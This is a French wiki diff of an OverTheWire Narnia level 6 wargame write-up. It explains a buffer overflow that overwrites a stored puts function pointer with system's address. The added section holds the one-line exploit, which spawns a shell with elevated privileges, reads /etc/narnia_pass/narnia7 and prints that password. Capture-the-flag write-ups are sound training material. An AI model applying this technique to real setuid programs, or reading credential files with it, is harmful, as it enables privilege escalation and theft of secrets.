Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
overthewire_narnia:level6 [2013/03/03 15:11] thelizardking |
overthewire_narnia:level6 [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 38: | Ligne 38: | ||
Le programme //enregistre// l'adresse de la fonction ''puts'' dans la variable ''fp''. Il copie ensuite le contenu de ''argv[1]'' et ''argv[2]'' dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction ''puts'' qui a été //enregistré//. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par ''0xff'', ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection. | Le programme //enregistre// l'adresse de la fonction ''puts'' dans la variable ''fp''. Il copie ensuite le contenu de ''argv[1]'' et ''argv[2]'' dans les deux buffers. Nous allons donc pouvoir écrire par dessus l'adresse de la fonction ''puts'' qui a été //enregistré//. Cependant, le programme vérifie que l'adresse de la fonction ne commence par par ''0xff'', ce qui correspond aux adresses de de la stack. Nous allons donc devoir contourner cette protection. | ||
+ | |||
+ | Une des solutions possible est d'appeler la fonction ''system'' à la place de la fonction ''puts''. | ||
+ | |||
+ | <code> | ||
+ | $ ./narnia6 $(python -c 'print "A"*8+"\x60\xf2\xea\xf7"') $(python -c 'print "C"*8+"/bin/sh"') | ||
+ | $ id | ||
+ | uid=14006(narnia6) gid=14006(narnia6) euid=14007(narnia7) groups=14007(narnia7),14006(narnia6) | ||
+ | $ cat /etc/narnia_pass/narnia7 | ||
+ | ahkiaziphu | ||
+ | </code> |